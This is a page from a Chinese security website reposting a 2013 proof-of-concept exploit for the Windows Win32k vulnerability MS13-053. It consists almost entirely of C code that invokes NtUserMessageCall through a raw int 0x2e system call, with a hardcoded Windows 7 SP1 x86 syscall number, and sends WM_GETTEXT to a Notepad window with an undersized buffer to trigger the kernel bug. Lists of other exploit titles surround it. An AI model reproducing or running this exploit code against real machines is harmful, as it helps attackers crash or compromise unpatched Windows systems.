首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
MS13-053 Win32k Memory Allocation Vulnerability
来源:https://labs.mwrinfosecurity.com 作者:0xbigban 发布时间:2013-09-13  
/*
        more detials:
        this poc is written by 0xBigBan
*/
#include <windows.h>
   
#define __NtUserMessageCall 0x11ea //on win7 sp1 x86
  
void SystemCall(DWORD ApiNumber, ...) {
        __asm{
                lea edx, [ebp+0x0c]
                mov eax, ApiNumber
                int 0x2e
                leave
                ret
        }
}
   
int main() {
        //you should have open a txt file with notepad
        HWND handle = FindWindow(NULL,"a.txt - notepad");
        void* ptr = malloc(sizeof(int)*2);
          
        SystemCall(__NtUserMessageCall,
                                handle,
                                WM_GETTEXT,
                                0x8,    //buffer size
                                ptr,    //user mode buffer
                                0x0,
                                0x2b3,
                                0x2);   //ASCII boolean/flag
}

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·eM Client e-mail client v5.0.1
·Target Longlife Media Player 2
·Watchguard Server Center 11.7.
·Vestel TV 42pf9322 - Denial of
·MS13-055 Microsoft Internet Ex
·Mitsubishi MC-WorkX 8.02 Activ
·HP SiteScope Remote Code Execu
·Ofilter Player 1.2.0.1 Buffer
·freeFTPd 1.0.10 PASS Command S
·PCMAN FTP 2.07 STOR Command -
·Fog Dragonfly 0.8.2 Command In
·D-Link Devices UPnP SOAP Telne
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved